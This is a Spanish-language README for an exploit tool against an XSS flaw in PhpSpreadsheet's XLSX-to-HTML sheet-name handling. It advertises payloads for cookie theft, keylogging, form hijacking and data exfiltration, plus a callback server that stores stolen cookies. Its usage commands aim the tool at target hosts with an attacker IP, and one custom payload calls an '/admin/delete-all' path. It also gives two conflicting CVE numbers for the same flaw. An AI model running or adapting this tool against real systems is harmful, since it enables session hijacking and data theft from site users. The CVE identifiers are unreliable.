
Este es un PoC/Exploit para la vulnerabilidad XSS de PhpSpreadsheet CVE-2024-47875.
Este es un PoC de la CVE-2025-22131, una vulnerabilidad de Cross-Site Scripting (XSS) en PhpSpreadsheet en versiones anteriores a 2.2.2, 2.1.2 y 1.29.4. La vulnerabilidad reside en la función generateNavigation(), que no sanitiza los nombres de las hojas durante la conversión de XLSX a HTML, lo que permite la inyección de JavaScript malicioso.
ID de CVE: CVE-2024-47875
Aviso de GitHub: GHSA-79xx-vf93-p7cx
Versiones afectadas: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
Autor: Roj
Licencia: MIT
Repositorio: Repositorio del PoC
📄 Genera archivos XLSX maliciosos con payloads XSS personalizables
🛠️ Soporta múltiples tipos de payload:
cookie_theft: Roba cookies de sesión
redirect: Redirige a los usuarios a un sitio controlado por el atacante
alert: Muestra una alerta de prueba para el PoC
keylogger: Captura pulsaciones de teclado
form_hijack: Intercepta envíos de formularios
data_exfil: Exfiltra datos de un endpoint específico
🌐 Servidor HTTP integrado para capturar los callbacks del exploit
⬆️ Sube archivos XLSX maliciosos a un endpoint objetivo
💾 Guarda los datos capturados (p. ej., cookies) en un archivo JSON
🎨 Salida de terminal con colores para una mejor legibilidad
🔍 Registro detallado (verbose) para depuración
python exploit.py -h
🚀 Ejemplos de uso:
#Basic cookie theft attack
python3 exploit.py http://target.htb 10.10.16.50
# Custom upload endpoint
python3 exploit.py http://app.htb 10.10.16.50 -e /api/file-upload
# Different payload types
python3 exploit.py http://target.com 10.10.16.50 -p keylogger
python3 exploit.py http://target.com 10.10.16.50 -p redirect
python3 exploit.py http://target.com 10.10.16.50 -p form_hijack
# Custom XSS payload
python3 exploit.py http://target.com 10.10.16.50 --custom "<script>fetch('/admin/delete-all')</script>"
Quisiera recibir comentarios, buena suerte a todos.